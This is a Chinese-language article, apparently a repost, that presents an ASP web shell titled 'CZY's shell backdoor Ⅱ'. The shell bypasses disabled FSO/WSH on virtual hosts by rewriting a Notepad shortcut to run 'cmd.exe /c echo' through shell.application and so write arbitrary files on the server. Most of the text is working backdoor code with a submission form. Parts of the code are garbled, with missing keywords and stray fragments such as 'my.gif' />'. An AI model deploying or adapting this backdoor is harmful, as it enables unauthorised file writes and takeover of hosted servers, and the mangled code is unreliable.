脚本错误:跨越FSO WSH写文件(涉及脚本木马)

by:czy

海洋木马想必各位都用过了吧这个木马里shell.application对象
对于很多虚拟主机来说几乎是必杀这部份代码最早是我写出来当初写代码
候主要是想证明下shell.application对象对于虚拟主机破坏性所以在实用性上没
有做过多考虑
现在把代码也"升级"下,以实现了文件写入,对于禁用了FSO,WSH主机来说
写文件确是个难事. 你也许会问shell对象有写文件功能吗?确在MSDN中
并没有介绍,但是shell对象可以对已存在LNK/URL/PIF文件进行更改,并且更改后可以保存为
文件名.
只能写LNK文件有用吗?这儿我们如果再使用shell对象invokeverb思路方法来执行这个LNK
文件话那我们不就能写任意文件了!为什么?LNK文件中指定执行是可以加参数
那么我们就可以cmd echo功能来写文件.
好思路在这儿了,编程中遇到实际问题如下:
1.要找到个everyone可以仿问LNK文件找了下发现:
"C:\Documents and Settings\Default User\「开始」菜单\\附件"目录下默认LNK文件everyone
用户都默认具有读取权限.

2.利用cmd.exe /c echo来写件时候">","<",双引号,"&"等有特殊意义不能直接写入必须在它们前面
使用转义符^.另外双引号在vb中也有特殊意义只有用chr(34)来代替.

最新遇到几个BT问题:
3.当行全部是空格时候用echo写入文件时...居然把打开ECHO写进去了.
所以行全部是空格不要.

4.echo j=0>a.txt这样是不行,0和>的间应该有个空格

5.不断更新a.lnk时候有时服务器写文件要出错,必须用到延时timeit.但
由于每写行都要等0.1秒所以行数过多时候(>300行)会出错:(

6.由于上面问题,我就想到了把所有内容都写在个a.lnk中,没想到参数有长度限制我晕啊...






<%
path=trim(Request.form("path"))
text=trim(Request.form("text"))
text<>"" and path<>"" then
text=replace(text,"^","^^")
text=replace(text,">","^>")
text=replace(text,"<","^<")
text=replace(text,"&","^&")
text=replace(text,":","^:")
text=replace(text,"+","^+")
text=replace(text,"|","^|")
text=replace(text,chr(34),"^"&chr(34))

Dim myArray
Dim b
k=0
my.gif' />= Split(text,Chr(13))
For i=0 to UBound(my.gif' />)

for j=1 to len(my.gif' />(i)) '行是否全是空格
mid(my.gif' />(i),j,1)<>" " and mid(my.gif' />(i),j,1)<>chr(10) and mid(my.gif' />(i),j,1)<>chr(13) then
tn=0
exit for
end
next


If tn=0 and my.gif' />(i)<> "" and my.gif' />(i)<>chr(13) and my.gif' />(i)<>chr(10) Then
k=k+1
ReDim preserve b(k)
b(k)=my.gif' />(i)
b(k)=replace(b(k),chr(10),"")
End If
tn=1
Next

shell=server.createobject("shell.application")

For L=1 TO k
response.write server.htmlencode(b(L))&"</br>"

shellfolder=shell.("C:\Documents and Settings\Default User\「开始」菜单\\附件")
shellfolderitem=shellfolder.parsename("记事本.lnk")
objshelllink =shellfolderitem.getlink
objshelllink.path="cmd.exe"
objshelllink.arguments="/c echo "&b(L)&" >>"&path&" &&del c:\a.lnk"
objshelllink.save("c:\a.lnk")
shell.("c:\").items.item("a.lnk").invokeverb
timeit(0.1)
next

' shellfolder=shell.("C:\Documents and Settings\Default User\「开始」菜单\\附件")
' shellfolderitem=shellfolder.parsename("记事本.lnk")
' objshelllink =shellfolderitem.getlink
'objshelllink.path="cmd.exe"
'echostr=" /c echo "&b(1)&" >"&path&" &&"
'for l=2 to k
' echostr=echostr+"cmd.exe /c echo "&b(l)&" >>"&path&" &&"
'next
'echostr=echostr+"del c:\a.lnk"


'objshelllink.arguments=echostr
'objshelllink.save("c:\a.lnk")
'shell.("c:\").items.item("a.lnk").invokeverb

Function TimeIt(N)
StartTime = Timer
do while endtime-starttime<n
EndTime = Timer
loop
End Function
response.write k '实际写入行数
end
%>
<html>
<title>CZY's shell backdoor Ⅱ</title>
<form action="<%= Request.ServerVariables("URL") %>" method="post" >
路径和文件名:<input type=text name=path size=40 value="c:\ccc.txt"><p>
文件内容:<textarea name=text rows=20 cols=50 ></textarea><p>
<input type=submit value=生成文件>
</form>
</html>



  • 篇文章: 用ASP制作强大搜索引擎

  • 篇文章: ASP.NET缓存Cache:思路方法和最佳实战
  • Tags:  脚本错误

    延伸阅读

    最新评论

    发表评论